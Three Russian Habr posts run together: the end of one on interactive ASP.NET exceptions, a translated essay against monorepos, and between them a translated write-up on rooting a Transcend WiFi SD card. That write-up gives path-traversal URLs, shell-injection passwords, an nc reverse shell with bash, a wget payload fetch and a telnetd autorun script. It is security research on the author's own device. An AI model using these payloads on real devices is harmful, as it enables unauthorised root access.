Однако, у пользователя должно создаваться впечатление непрерывности действия. Так же и программист не должен задумываться над тем, что выполнение его кода может прерываться. Поэтому, придется использовать некоторые хитрости.
Для начала введем понятия идентификаторов запроса и действия.
**Идентификатор запроса** — уникальный идентификатор запроса, который генерируется на клиенте. Для каждого запроса к серверу идентификатор свой, за исключением того случая, когда запрашиваем пользовательский ввод.
**Идентификатор действия** — уникальный идентификатор действия. Если быть точнее, уникальный идентификатор места в коде, в котором запрашивается ответ пользователя.
Эти два идентификатора позволяют организовать схему работы клиент-сервер таким образом, что можно точно определить когда и что запрашивалось у пользователя и какой ответ он дал.
Вот как, примерно, выглядит эта схема:
Таким образом, у разработчика создается впечатление, что его метод выполняется всего 1 раз. Пользователю, соответственно, также кажется, что он выполнил всего 1 действие.
Рассмотрим, как эта затея может выглядеть для программиста.
```
public class HelloNewWorldOrder
{
// собственно, идентификатор действия
Guid guid = new Guid("5FFD6DB4-1201-44BF-9DE0-DC199AC004D9");
public void KillAllHumans(Human[] humans)
{
foreach (var human in humans)
{
if (human.Name == Context.Current.User.Name)
{
// указание выбросить исключение с запросом
ExceptionHelper.Interactive(guid, "Вы были обнаружены в списке человеков. Все равно убить?");
}
human.Kill();
}
}
}
```
По-моему, выглядит довольно дружелюбно :)
Сам же ExceptionHelper.Interactive выглядит примерно так:
```
public static void Interactive(Guid id, string message)
{
// получает идентификатор запроса
var key = RequestHelper.GetRequestId();
var exists = Query.All()
.Any(r => r.RequestId == key && r.ExceptionId == id);
if (exists)
{
return;
}
throw new InteractiveException(message, id, key);
}
```
Остается добавить только запись пропускаемых исключений в БД. Например, это можно сделать в Global.asax, базовом контроллере или там, где мы ожидаем подобного общения с пользователем.
Таким нехитрым способом мы добились того, что эмулируется поведение десктопного приложения, хранящего свое состояние между пользовательскими действиями. При этом реальное состояние приложения нигде не хранится, никакие ресурсы не блокируются и никаких ограничений на время ответа пользователя не накладывается.
Опробовать данную систему в действии вы можете по адресу <http://demo.oreodor.com/Parts/Main.aspx#Order:Regular>. Описанный в статье подход там используется при оформлении заказа.
Исходный код действия, проверяющего валидность, выглядит так:
```
///
/// Оформить заказ
///
[Icon(ExtIcon.Accept)]
public class OrderCompleteAction : IAction>
{
///
/// Ошибка 1
///
private Guid e1 = new Guid("84099696-2225-41F9-AF54-0BE66367CEAA");
///
/// Ошибка 1
///
private Guid e2 = new Guid("26142EDB-3DC8-4B00-920F-FA33FC3ADF40");
///
/// Выполнение действия
///
/// Контекст действия
public void Execute(IFormContext context)
{
Assert.That(context.Item, Is.Not.Null, "Сохраните заказ перед оформлением, пожалуйста!");
var cpus = context.Item.Items.Select(m => m.Linked)
.OfType().Select(c => c.SocketType.SysName).ToHashSet();
var mbs = context.Item.Items.Select(m => m.Linked)
.OfType().Select(c => c.SocketType.SysName).ToHashSet();
var coolers = context.Item.Items.Select(m => m.Linked)
.OfType().SelectMany(c => c.Sockets.Select(m => m.Linked.SysName)).ToHashSet();
if (!cpus.IsSubsetOf(coolers))
{
ExceptionHelper.Interactive(e1, "В списке товаров есть процессоры без подходящих кулеров.");
}
if (!cpus.IsSubsetOf(mbs))
{
ExceptionHelper.Interactive(e2, "В списке товаров есть процессоры без подходящих мат. плат.");
}
context.Item.Status = Status.BuiltInStatuses.Work.ToEntity();
context.ShowMsgBox("Заказ принят в обработку.");
}
}
``` | https://habr.com/ru/post/142897/ | null | ru | null |
# Хакаем Transcend WiFi SDHC карту памяти
*Перевод немного вольный, но смысл не потерян. Я (переводчик) заинтересовался этой карточкой давно и почти сразу заказал её, сегодня забрал с почты и не могу нарадоваться, но хочется больше, чем дает Transcend, а карточка, между прочим, Linux сервер с WiFi! Очень много буковок.*
С недавнего времени я стал счастливым обладателем карты памяти Transcend WiFi SD, которая позволяет мне передавать фотографии с моей «зеркалки» (которая вообще то Sony NEX, зато компактная) на любое устройство с WiFi за несколько секунд. А так как мне нравится делать фотографии и делиться с ними на лету, то SD карточка, умеющая без проводов передавать картинки на мой телефон, кажется прекрасным решением. И это было так! (хотя всё еще так). Мобильное приложение может… не, должно быть получше (зачем скачивать 7МБ картинку для просмотра, чтобы потом ЕЩЕ раз скачать её, нажав на «Скачать»?), но вообще оно делает своё дело!
Я был поражен, что столь малое устройство может хранить не только 16ГБ или даже 32ГБ, но еще и является встроенной системой, способной запускать приложения, включая веб сервер, общаться с другими устройствами через WiFi и даже создавать свою беспроводную сеть. Но хватит болтать: можем ли мы заставить это устройство делать больше?
Этот пост написан не только для собственно эксплоита, который позволяет получить root доступ (джейлбрейк), но так же расскажет о процессе исследования и нахождения багов, некоторые из которых просто тупики, а другие приводят к получению священного рута.
#### Готовимся к хаку
Изначально я предполагал что в карточке какой то встроенный Linux. Если это так, то расширить функционал скорее всего будет довольно просто! Но сперва надо бы взять контроль над системой в свои руки. До этого с этой карточкой я использовал только Android и iOS приложение, но было очевидно, что самый простой вариант общаться с ПК — это веб интерфейс. И следующая мысль немедленно посетила мою голову:
> Если мобильные приложения такие хреновенькие, то и веб интерфейс не лучше… возможно он полон багов, которые можно использовать в своих интересах.
>
>
Как же я оказался прав!
Как только вы подсоединяетесь к веб интерфейсу (IP карточки 192.168.11.254 (*у меня 253, но не суть*), стандартный логин и пароль admin), вы испытываете такие же фиговые чувства, как при использовании мобильного приложения. Плохие «пользовательские ощущения», но хорошее «хакерское предвкушение». В то время как многие используют крутые инструменты для обнаружения уязвимостей, безопасность этой системы была на столько «ниочемной» что я мог найти баги, просто немного поковырявшись.
Меню «Files» выделяется среди других, и позволяет смотреть что есть на карте памяти. К сожалению, тут нельзя перейти в родительскую корневую папку карты памяти. Или позволяет? Это несомненно было бы полезно, так как вы сможем увидеть внутренности системы и получить больше информации о её работе а может быть и запустить какой нибудь код через веб интерфейс, если мы счастливчики. Мы заметили что ссылка «Parent Directory» указывает на URL(%2F это символ "/"):
`192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww%2Fsd`
Так что попробуем перейти в папку /www, через URL: `192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww`
Но, не судьба. Попытки попасть в /, /bin, /etc или любую другую директорию провалились. Эх, :( не удача. Это было бы слишком просто! Что ж, оказывается это не очень то и сложно, так как программисты не особо заботились о безопасности. Попробуем зайти так `?dir=/www/sd/../..` вроде бы это должно быть тоже самое, что и просто `/`, и это сработало!
Ух, как же стыдно должно быть! Похоже что программисты сделали проверку, чтобы путь начинался с `/www/sd`, но не проверяют очевидный путь попадания в родительскую папку "../". Таким вот путем мы можем исследовать любые файлы системы. Конечно, нажатия на файлы не запускают их, а только скачивают, но это уже большое дело!
После ползания по файловой системе и скачивания скриптов, не стало сюрпризом, что система использует busybox, да и много файлов являются симлинками на busybox. Хотя не все из них, как например скрипты в папке /www/cgi-bin. И они то самые интересные, так как мы можем запускать их просто указывая ссылку в браузере.
#### Начнем хакание
Это всё выглядит многообещающе! Теперь, когда мы имеем доступ к внутренностям системы, не смотря на то что она в режиме «только для чтения», это дает нам огромное преимущество, так как мы можем изучать её работу и смотреть на баги и дырки :)
Хождение по скрипам, в поисках багов, которые можно использовать, не отняло много времени. Все они — это Perl скрипты. Perl имеет интересную особенность при открытии файлов через вызов open(), потому как это не только открывает файлы, но запускает программы если путь до файла не путь, а shell команда, заканчивающаяся «трубой» (pipe). Как например `open("cat /etc/passwd |")`. Другая особенность использования open() заключается в том, что мы можем записать в файл в любом месте или перезаписать существующий файл, так что мы можем написать свой собственный код и запустить его после этого. Давайте посмотрим, сможем ли мы использовать какие то файлы для этого.
Один файл меня заинтересовал, так как содержит вызов open() включающий пользовательскую переменную. `kcard_upload.pl` содержит следующее:
Вобще то этот файл вообще не используется в веб приложении! `kcard_upload.pl` скрыт от пользователей, но он всё еще есть и полностью доступен в `cgi-bin` директории. Мы можем запустить его через браузер. Это двойной facepalm: иметь дырявый скрипт, которые еще и не используется! Но сможем ли мы его приспособить для своих нужд?
Просматривая код `kcard_upload.pl`, я понял, что есть три проблемы делающие использования переменной `$basename` затруднительным.
Во первых, `$basename` на самом деле не прямой ввод пользователя, а является результатом вывода `GetBasename($upfile)`. А вот `$upfile` передается пользователем (в данном случае хакером). А точнее, путь к файлу, который HTML форма запрашивает для загрузки. Но если мы подставим путь, то `GetBasename` вернет только имя файла на конце пути. Это делает переход по каталогам (как «хак» ../../ выше) невозможным.
Во вторых, значение в `$basename` переводится в верхний регистр, т.е. что бы мы не пихнули туда, всё будет изменено, что несколько усугубляет наши планы.
Третья проблема заключается в том, что скрипт `kcard_upload.pl` разрешает загружать только PNG, JPG, BMP и GIF файлы.
И это конец? Не тут то было!
Если посмотреть на код повнимательнее, то мы поймем, что хотя программисты и хотели таким способом ограничить загружаемые типы файлов, но они на самом деле проверяют только содержится ли расширение в названии файла, а не заканчивается ли файл на это самое расширение.
В дополнении, регулярное выражение на самом деле не проверяет символ точки, так как точка указывает на любой символ, кроме переноса строки. Точка должна была бы быть экранирована `"\"`. Я предполагаю что программисты хотели написать `/\.GIF$/`, но написали только `/.GIF/`, таким образом мы можем обойти это ограничение, включив любой вариант из комбинации этих трех букв в любое место нашего пути, как например `/hi/helPNGlo/asdf.something`. Сложно назвать это неудобством!
Так как наш путь будет всегда преобразовываться в верхний регистр, возможно мы больше не сможем вызывать системные команды (большинство из них не в верхнем регистре), но может быть мы все еще можем загружать файлы, вставив таким образом наши собственные скрипты в систему. И нас в общем то и не волнует что имена этих скриптов будут написаны большими буквами.
Наконец, если вы помните, наш путь изменяется через `GetBasename()` до сохранения в переменной `$basename`. `GetBasename()` делить путь и берет только имя файла на конце. То есть `/path/to/file.txt` превратится просто в `file.txt`. Это плохо, потому как это больше не позволит нам манипулировать путем и вставлять что-то вроде `"../../bin/our-malicious.script"`, так как это всегда будет заканчиваться на `"our-malicious.script"` и сохраняться в `DCIM/198_WIFI/`
И снова здрасте, код в `GetBasename()` содержит баг, который можно поэксплуатировать.
Код рассматривает два случая: пользователь вставляет путь в стиле windows с обратными слешами и пользователь вставляет путь с нормальными слешами (используется во всех OC кроме windows). Хотя правильнее сказать что такое поведение предполагается! А на самом же деле проверяется содержится ли в строке обратный слеш и тогда предполагается что это windows путь, так что строка делится обратными слешами. То есть на самом деле не проверяется состоит ли путь из обратной черты! Так что дадим следующий путь:
`/эта/часть/пути/будет/вырезана\/этот/путь/будет/использоваться`
Так как строка содержит обратный слеш, скрипт предполагает что это путь для windows, так что окончание пути на самом деле не окончание пути (не имя файла), а вообще то просто путь. В нашем примере путь будет `/этот/путь/будет/использоваться`
Вуаля! Путь вроде **/PNG/something\/../../our-malicious.script** пройдет все проверки и будет записан куда нам надо. Хорошие новости. А плохая новость — ничего из этого работать не будет. Упс! Потому как скрипт предполагает что `../DCIM/198_WIFI` существует, но скрипт запущен из `/www/cgi-bin`, и это не так (правильный путь должен быть `../sd/DCIM/198_WIFI`). Пичалька, ничего с этим не поделать. Этот баг зашит в скрипт. Разработчики и не должны были уделять внимание этому, ведь скрипт не предполагалось использовать (он скрыт, помните?). Похоже что это тупик, не смотря на все наши усилия. Может кто-то предложит другое инновационное решение.
(Кроме того, форма, выводящаяся `kcard_upload.pl` не вызывает саму себя, а вызывает бинарник с названием `wifi_upload`, так что мы должны были сделать HTTP POST запрос самостоятельно.)
#### Хакаем
Но постойте! Мы уже убедились что качество кода так себе, и еще куча багов может быть. На самом деле, я не буду рассматривать большинство из них. Есть и другие «тупики» на которые я натыкался и детально не описывал в этом посте. Я подробно расскажу об одном конкретном баге, который выделяется простотой использования.
Существует много способов вызова shell команды непосредственно из perl скрипта, и если разработчики подошли к этому легкомысленно, то возможно мы можем запускать собственные shell команды! Использование `system()` — это один из способов запуска shell кода в perl скрипте. Оказалось что `system()` используется довольно часто в .pl и .cgi файлах, но их аргументы зашиты в код, так что особо не попользоваться. Другой способ исполнения shell кода в perl — это использование `qx{}` выражения, но это вообще не используется. В любом случае, третий путь — это использование обратных кавычек вокруг кода, что эквивалентно использованию `qx{}`. И тут такого много, они подставляют данные, вводимые пользователем в их shell код. Замечательно! Т.е. их shell код смешивается с нашим вводом, так что это можно использовать для запуска нашего собственного кода.
Вот одна замечательная строчка в `kcard_save_config_insup.pl`, которая прям как подарок на Новый год:
Это выражение запускает любую команду, обозначенную в переменной `$update_auth`, с аргументами `$LOGIN_USR` и `$LOGIN_PWD`. Оба аргумента приходят напрямую из формы, то есть эти аргументы полностью подвластны нам. Никаких проверок на ввод не делается! Это форма, которая отображается когда вы заходите в веб интерфейс и нажимаете на «Settings». Вы можете получить к этому доступ прямо из строки браузера по адресу `192.168.11.254/kcard_edit_config_insup.pl`. Это логин и пароль для админа. Это значит, что подбирая особый пароль, мы может выполнить код! Во-первых, пароль должен содержать точку с запятой, чтобы запустить новую shell команду после выполнения команды `$update_path`. Затем идет любой код, какой мы захотим. И наконец, пароль должен заканчиваться символом # (начало комментария), чтобы всё что идет после было игнорировано `> /mnt/mtd/config/ia.passwd`.
Это всё легко проверить, выбрав например такой пароль: `admin; echo haxx > /tmp/hi.txt #`
Форма, на самом деле, проводить некоторые здравые проверки и не допускает длинных паролей и странных символов. Учитывая тот факт, что проверки сделаны на javascript, а не на стороне сервера, мы можем очень просто их проигнорировать. Я использовал расширение для Chrome Form Editor чтобы избавиться от этой проблемы.
После отправки формы, мы легко можем убедится что эксплоит эффективен, зайдя в папку `/tmp` используя хаки, что описаны выше. Мы даже можем скачать файл и проверить что его содержимое верное.
Не забудте восстановить ваш пароль «admin», иначе придется сбрасывать настройки после использования этой дыры. (восстановление не коснется ваших фотографий, вроде бы).
#### А где же root?
Теперь мы умеем не только читать любой файл в файловой системе, но еще и выполнять shell код и записывать в файлы. Тем не менее, у нас всё еще нет нормального доступа к системе.
Просматривая содержимое папки `/usr/bin` вы можем сказать, что там много полезностей для нас чтобы создать обратный shell: netcat (nc), telnet и другие. Обратный shell работает ожидая входящие соединения на определенный порт нашего компьютера, и имеет целевую систему, соединенную с ним, пока запущен shell который берет ввод с этого соединения и выводить всё через это соединение (*простите, я сам запутался*). Есть много путей сделать это, но самый простой — это использовать Netcat:
`nc 192.168.11.11 1337 -e /bin/bash`
Это заставит netcat подключится к нашему ПК (у которого IP 192.168.11.11) на порту 1337 и прокинуть bash через него. Естественно, чтобы запустить это, надо использовать дырку описанную выше, «изменяя» пароль на `admin; nc 192.168.11.11 1337 -e /bin/bash #`. И к сожалению это опять не работает. Так что попробуем другие трюки с telnet или еще каким софтом. Так почему же не работает? Симлинки для nc, telnet и другого в `/usr/bin`, и синтаксис команды верный! В общем эти инструменты были отключены в busybox который находится на нашей любимой SD карточке со встроенным Linux. Пичалька. Мы можем проверить это, попытавшись запустить telnet или netcat и перенаправив stdout и stderr в /tmp/hi.txt, вот такой командой: `nc 192.168.11.11 1337 -e /bin/bash &> /tmp/hi.txt`. Загрузив hi.txt, мы увидим в его содержимом: `nc: applet not found`, что означает отключенный nc. Вот ведь засада! Так что же, мы ограничены в запуске команд через эту дырявую форму и при этом не имеем сетевых утилит? Ну конечно же нет! :)
К счастью, `wget` используется некоторыми transcend-овыми скриптами, и эта утилита включена. И это позволит нам скачать нафаршированный busybox :))) Я слишком ленивый, чтобы собирать самостоятельно, так что я взял уже готовую сборку busybox с <http://busybox.net/downloads/binaries/latest/>, положил busybox-armv5l на мой локальный веб сервер и просто запустил `wget 192.168.11.11/busybox-armv5l` используя ту дырявую форму, чтобы загрузить это на карту памяти в `/www/cgi-bin`. А так же я выполнил `chmod a+x /www/cgi-bin/busybox-armv5l` чтобы быть наверняка уверенным, что он потом запустится.
Наконец то я получил свой удаленный shell! Мой компьютер слушает порт 1337 после запуска `nc -vv -l 1337`, и SD карточка открывает соединение на этот порт `/www/cgi-bin/busybox-armv5l nc 192.168.11.11 1337 -e /bin/bash`. А так как busybox имеет все утилиты, мы можем запустить `/www/cgi-bin/busybox-armv5l команда` через полученный shell чтобы получить доступ ко богатому набору команд! Для примера, `/www/cgi-bin/busybox-armv5l id` расскажет нам, что мы уже под root-ом!
#### Еще больше хакерства
В случае, если вы всё же забыли пароль и требуется восстановить его, вы можете сбросить настройки SD карты (есть специальная картинка, скидывающая настройки карты после перезагрузки). Но, вы можете восстановить пароль из-за крайне беспечной ошибке в одном из «скрытых» perl скриптов, а именно `kcard_login.pl`, который делает самую странную процедуру авторизации, когда либо существовавшую во вселенной. Она извлекает пароль из файла wsd.conf и затем предлагает через javascript коде проверить его на стороне пользовательского браузера. Да да, вы всё верно прочитали. Проверка сделана на javascript!
Это значит, что всё что вам нужно сделать для восстановления пароля это зайти на [192.168.11.254/cgi-bin/kcard\_login.pl](http://192.168.11.254/cgi-bin/kcard_login.pl) и посмотреть исходный код страницы. Пароль будет прямо там.
Лицорука!
#### А еще спасибо за дружелюбный хакерский бекдор
Один из скриптов (rcS.p rcS), который запускается при старте, автоматически выполняет `autorun_fu.sh` или `autorun.sh` если они есть в корне карты памяти. Это облегчит дальнейшее улучшение и взлом. Спасибо, Transcend!
У меня есть вот такой скрипт (с названием `autorun.sh`), вместе с busybox-armv5l в корне карты памяти, так что я могу просто заходить через `telnet` в систему:
```
cp /mnt/sd/busybox-armv5l /sbin/busybox
chmod a+x /sbin/busybox
/sbin/busybox telnetd -l /bin/bash &
```
Так что вы можете зайти на карточку сразу после включения и окончания загрузки:
Удачного хакинга!
*Надеюсь перевод понравился, замечания и предложения пожалуйста в личку, никто не идеален. А еще рекомендую погуглить keyasic*
Наверно будет не лишнем вставить рекламный ролик этой карты: | https://habr.com/ru/post/191742/ | null | ru | null |
# Монорепозитории: пожалуйста не надо
> От переводчика: Привет, Хабр! Да, это очередная статья о преимуществах и недостатках монорепозиториев. Собирался написать свою статью о том, как мы используем монорепозиторий, как мы переходили с maven на bazel и что из этого получилось. Но пока собирался с мыслями, вышла отличная статья от разработчика из Lyft, которую я и решил для вас перевести. Обещаю опубликовать свои дополнения к статье, а также опыт с bazel в виде продолжения.
Мы в Новом 2019 году, и я настроен на еще одну дискуссию о преимуществах (или отсутствии таковых) в хранении всего исходного кода организации в «Монорепозитории». Для тех из вас, кто не знаком с этим подходом, идея состоит в том, чтобы хранить весь исходный код в едином репозитории системы контроля версий. Альтернатива, конечно, заключается в том, чтобы хранить исходный код в нескольких независимых репозиториях, разделяя их обычно по границе сервисов/приложений/библиотек.
В данном посте я буду называть такой подход «полирепозиторий».
Некоторые из ИТ-гигантов используют монорепозитории, включая Google, Facebook, Twitter и других. Конечно, если такие уважаемые компании используют монорепозитории, то преимущества такого подхода должны быть огромны, и мы все должны делать так же, верно? Нет! Как сказано в заголовке статьи: «Пожалуйста, не используйте монорепозиторий!» Почему? Потому что *на большом масштабе монорепозиторий будет решать все те же самые проблемы, которые решает и полирепозиторий, но при этом провоцируя вас к сильной связанности вашего кода и требуя невероятных усилий по увеличению масштабируемости вашей системы контроля версий* .
Таким образом, в среднесрочной и долгосрочной перспективе монорепозиторий не дает никаких организационных преимуществ, в то время как оставляет лучших инженеров компании с пост-травматическим синдромом (проявляется в виде пускания слюней и бессвязного бормотания о производительности git).
> It's new year's day and I'm arguing about how ridiculous monorepos are. 2019 is off to an inauspicious start. In spirit of this, I bring you a poll.
>
> Who are the bigger zealots? Supporters of:
>
> — Matt Klein (@mattklein123) [January 1, 2019](https://twitter.com/mattklein123/status/1080170131869712384?ref_src=twsrc%5Etfw)
Короткое отступление: что я подразумеваю под «на большом масштабе»? Нет однозначного ответа на этот вопрос, но т.к. я уверен, что вы спросите меня об этом, давайте скажем, что это около 100 разработчиков, пишущих код фул-тайм.
Теоретические преимущества монорепозитория и почему они не могут быть достигнуты без инструментов, которые используются для полирерозиториев (или ложны)
--------------------------------------------------------------------------------------------------------------------------------------------------------
#### Теоретическое преимущество 1: более легкая коллаборация и совместное владение кодом
Сторонники монорепозиториев утверждают, что когда весь код находится в одном репозитории, вероятность дупликации кода меньше, и возрастает вероятность того, что разные команды будут работать вместе над общей инфраструктурой.
Вот вам горькая правда о монорепозиториях даже среднего размера (и это будет звучать постоянно в данном разделе): очень быстро становится нецелесообразным для разработчика держать весь код репозитория у себя на рабочей станции или искать по всей кодовой базе с помощью утилит вроде grep. Поэтому любой монорепозиторий, который хочет масштабироваться должен предоставлять 2 вещи:
1) нечто вроде виртуальной файловой системы, которая позволяет хранить локально только часть кода. Это может быть достигнуто с помощью проприетарной файловой системы как [Perforce](https://www.perforce.com), которая поддерживает такой режим нативно, с помощью внутреннего инструмента [G3](https://ai.google/research/pubs/pub45424) от Google или [GVFS](https://en.wikipedia.org/wiki/Git_Virtual_File_System) от Microsoft.
2) сложные инструменты как сервис (as a service) для индексирования/поиска/просмотра исходного кода. Т.к. никто из разработчиков не собирается хранить весь исходный код на своей рабочей станции в состоянии, пригодном для поиска, становится критичным иметь возможность проводить такой поиск по всей кодовой базе.
Исходя из того, что разработчик в каждый момент времени будет иметь доступ только к небольшой порции исходного кода, есть ли хоть какая-то разница между загрузкой части монорепозитория или загрузкой нескольких независимых репозиториев? *Разницы нет*.
В контексте индексирования/поиска/просмотра и сходного кода такой гипотетический инструмент с легкостью может осуществлять поиск и по нескольким репозиториям и объединять результат. Фактически именно так работает поиск на GitHub, так же как и более сложные инструменты для поиска и индексирования, такие как [Sourcegraph](https://sourcegraph.com/start).
Таким образом, с точки зрения совместной работы над кодом на большом масштабе разработчики в любом случае вынуждены работать лишь с частью кодовой базы и использовать более высокоуровневые инструменты. Без разницы, хранится код в монорепозитории или в нескольких независимых репозиториях, проблема решается одним и тем же способом, и *эффективность совместной работы над кодом зависит только от инженерной культуры, а не от способа хранения исходных кодов*.
#### Теоретическое преимущество 2: одна сборка / нет управления зависимостями
Следующий аргумент, приводимый обычно сторонниками монорепозиториев, заключается в том, что хранение всего кода в одном монорепозитории лишает вас необходимости управлять зависимостями, т.к. весь код собирается в одно и то же время. Это ложь! На большом масштабе просто нет возможности пересобирать весь исходный код и прогонять все автоматизированные тесты каждый раз, когда кто-то коммитит изменения в систему контроля версий (или что более важно и чаще встречается, на сервере CI когда создается новая ветка или пулл-реквест). Чтобы решить эту проблему все большие монорепозитории используют свою сложную систему сборки (например [Bazel](https://bazel.build)/Blaze от Google или [Buck](https://buckbuild.com) от Facebook), которая спроектирована так, что следит за изменениями и их зависимыми блоками и строит граф зависимостей исходного кода. Этот граф позволяет организовать эффективное кэширование результатов сборки и тестов, так что только изменения и их зависимости нуждаются в пересборке и тестировании.
Более того, т.к. собранный код должен в итоге быть задеплоен, и, как известно, все ПО не может быть задеплоено одномоментно, важно, чтобы все артефакты сборки контролировались, чтобы артефакты были передеплоены заново по необходимости. По сути, это означает что даже в мире монорепозиториев несколько версий кода могут существовать в один и тот же момент времени в природе, и должны тщательно отслеживаться и согласовываться.
Сторонники монорепозиториев также будут утверждать, что даже с учетом необходимости отслеживания сборок/зависимостей это все равно дает неоспоримое преимущество, т.к. одиночный коммит описывает полное состояние всего мира. Я бы сказал, что это преимущество довольно спорное, учитывая, что граф зависимостей уже существует, и это выглядит довольно тривиальной задачей включить идентификатор коммита для каждого независимого репозитория как часть этого графа, и фактически Bazel может легко работать с несколькими независимыми репозиториями как и с одним монорепозиторием, абстрагируя нижележащий уровень от разработчика. Более того, легко можно реализовать такие средства автоматизированного рефакторинга, которые автоматически обновляют версии зависимых библиотек в нескольких независимых репозиториях сразу, нивелируя разницу между монорепозиторием и полирепозиторием в этой части (более подробно об этом дальше).
Конечный результат таков, что реалии сборки/деплоймента на большом масштабе по большей части одинаковы для монорепозиториев и полирепозиториев. *Для инструментов нет разницы, не должно ее быть и для разработчиков, пишущих код*.
#### Теоретическое преимущество 3: рефакторинг кода — это простой атомарный коммит
Наконец, последнее достоинство, которое упоминают сторонники монорепозиториев, это факт, что один репозиторий делает рефакторинг кода более простым, благодаря простоте поиска, и идее, что один коммит может охватывать весь репозиторий. Это неверно по нескольким причинам:
1) как было описано выше, на большом масштабе разработчик не будет способен редактировать или осуществлять поиск по всей кодовой базе на своей локальной машине. Таким образом, идея о том, что каждый может легко склонировать себе весь репозиторий и просто выполнить grep/replace, не так легко осуществима на практике.
2) даже если мы предположим, что с помощью сложной виртуальной файловой системы разработчик может клонировать и редактировать всю кодовую базу, то как часто это будет происходить? Я не говорю про исправление бага в имплементации общей библиотеки, т. к. такая ситуация одинаково обрабатывается и в случае монорепозитория, и в случае полирепозитория (предполагая похожую систему сборки/деплоя, как описано выше). Я говорю об изменении API библиотеки, за которым последуют множество ошибок компиляции в тех местах, где эта библиотека вызывается. В очень большой кодовой базе *почти невозможно сделать изменение базового API, которое будет проревьюено всеми задействованными командами до того, как мердж конфликты заставят вас начать процесс сначала*. У разработчика есть 2 реальные возможности: он может сдаться и придумать обходной путь для проблемы с API (на практике это случается чаще, чем нам всем этого бы хотелось), или он может задепрекейтить существующий API, написать новый API и затем вступить на тропу долгого и мучительного обновления всех вызовов старого API по всей кодовой базе. В любом случае *это абсолютно такой же процесс, как и при полирепозитории*.
3) в сервис-ориентированном мире приложения состоят из множества слабо связанных компонентов, которые взаимодействуют между собой, используя некоторый тип хорошо описанного API. Большие организации рано или поздно переходят на использование IDL (язык описания интерфейсов), таких как Thrift или Protobuf, которые позволяют делать типо-безопасные API и производить обратно-совместимые изменения. Как было описано в предыдущем разделе о сборке/деплое, *код не может быть задеплоен одномоментно*. Он может деплоиться на протяжении некоторого периода времени: часов, дней или даже месяцев. Поэтому разработчики обязаны думать об обратной совместимости своих изменений. Такова реальность современной разработки ПО, которую многие хотели бы игнорировать, но не могут. Поэтому, когда это касается сервисов (в противовес API библиотек) разработчики должны использовать один из двух подходов, описанных выше (не менять API или пройти через цикл депрекации) и *это абсолютно одинаково и для монорепозитория, и для полирепозитория*.
К слову о рефакторинге на большой кодовой базе, многие большие организации приходят к тому, чтобы разработать свои автоматизированные инструменты для автоматического рефакторинга, как например [fastmod](https://github.com/facebookincubator/fastmod), недавно выпущенный Facebook. Как и всегда, этот инструмент мог бы с легкостью работать с одним репозиторием или же несколькими независимыми. У Lyft есть инструмент, который называется «refactorator», который делает именно это. Он работает как fastmod, но автоматизирует изменения по нескольким нашим репозиториям, включая создание пулл-реквестов, отслеживание статусов ревью и т.д.
Уникальные недостатки монорепозиториев
--------------------------------------
В предыдущей секции я перечислил все теоретические преимущества, которые предоставляет монорепозиторий, и отметил, что, чтобы воспользоваться ими, требуется создать невероятно сложный инструментарий, который не будет отличаться от инструментария для полирепозиториев. В этом разделе я упомяну 2 уникальных недостатка монорепозиториев.
#### Недостаток 1: сильная связанность и ПО с открытым исходным кодом
Организационно, монорепозиторий провоцирует к созданию сильно связанного и хрупкого ПО. Он дает разработчикам ощущение, что они легко могут исправить ошибки в абстракциях, хотя на самом деле они не могут из-за нестабильного процесса сборки/развертывания и человеческих/организационных/культурных факторов, возникающих при попытке внести изменения сразу по всей кодовой базе.
Структура кода в полирепозиториях олицетворяет четкие и прозрачные границы между командами/проектами/абстракциями/владельцами кода и заставляет разработчика тщательно продумать интерфейс взаимодействия. Это малозаметное, но очень важное преимущество: это заставляет разработчиков думать более масштабно и в более длительной перспективе. Более того, использование полирепозиториев не значит, что разработчики не могут выходить за пределы границ репозитория. Происходит это или нет, зависит только от разработческой культуры, а не от того, используется монорепозиторий или полирепозиторий.
Сильное связывание также имеет серьезные последствия относительно открытия своих исходных кодов. Если компания хочет создавать или потреблять ПО с открытым кодом, использование полирепозиториев просто необходимо. Искажения, которые происходят, когда компания пытается выложить свой проект в open source из своего монорепозитория (импорт/экспорт исходных кодов, публичный/приватый баг трекер, дополнительные слои для абстрагирования разницы в стандартных библиотеках и т.д.) не приводят к продуктивной коллаборации и построению сообщества, а также создают существенные накладные расходы.
#### Недостаток 2: масштабируемость системы контроля версий
> here I updated the XKCD comic for you [pic.twitter.com/pwPBIghTV3](http://t.co/pwPBIghTV3)
>
> — monorepi (@monorepi) [December 8, 2014](https://twitter.com/monorepi/status/542081644954259457?ref_src=twsrc%5Etfw)
Масштабирование системы контроля версий для сотен разработчиков, сотен миллионов строк кода, и огромного потока коммитов — монументальная задача. Монорепозиторий Twitter, созданный 5 лет назад (на основе git), был одним из самых бесполезных проектов, которые я наблюдал за свою карьеру. Выполнение простейшей команды как `git status` занимало *минуты*. Если локальная копия репозитория слишком устаревала, обновление могло занять *часы* (в то время даже была практика отправлять жесткие диски с копией репозитория удаленным сотрудникам со свежей версией кода). Я вспоминаю об этом не для того, чтобы поиздеваться над разработчиками Twitter, а чтобы проиллюстрировать, как сложна эта проблема. Я могу сказать, что 5 лет спустя, производительность монорепозитория Twitter все еще далека от той, которую хотели бы видеть разработчики Туллинг команды, и это не потому, что они плохо старались.
Конечно, за эти 5 лет в этой области происходило некоторое развитие. [Git VFS](https://github.com/Microsoft/VFSForGit) от Microsoft, которая используется для разработки Windows, привела к тому, что появилась настоящая виртуальная файловая система для git, которую я описывал выше как необходимое условие для масштабирования системы контроля версий (и с покупкой Microsoft Github похоже, что этот уровень масштабирования найдет свое применение в фичах, которые GiHub предлагает своим корпоративным клиентам). И конечно, Google и Facebook продолжают вкладывать огромные ресурсы в свои внутренние системы, чтобы они продолжали функционировать, хотя почти ничего из этого не доступно публично.
*Так почему нужно вообще решать эти проблемы с масштабированием системы контроля версий, если как описано в предыдущем разделе, инструментарий требуется ровно тот же самый, что и для полирепозитория?* Для этого нет разумной причины.
Заключение
----------
Как часто бывает в разработке ПО, мы смотрим на наиболее успешные софтверные компании как на пример и пытаемся заимствовать их лучшие практики без понимания того, что же именно привело эти компании к успеху. Монорепозитории, по моему мнению, это характерный пример такого случая. Google, Facebook и Twitter инвестировали огромное количество ресурсов в свои системы хранения кода только для того, чтобы прийти к решению, которое по сути *не отличается от того, которе требуется и для полирепозитория, но провоцирует сильное связывание и требует огромных инвестиций в масштабирование системы контроля версий*.
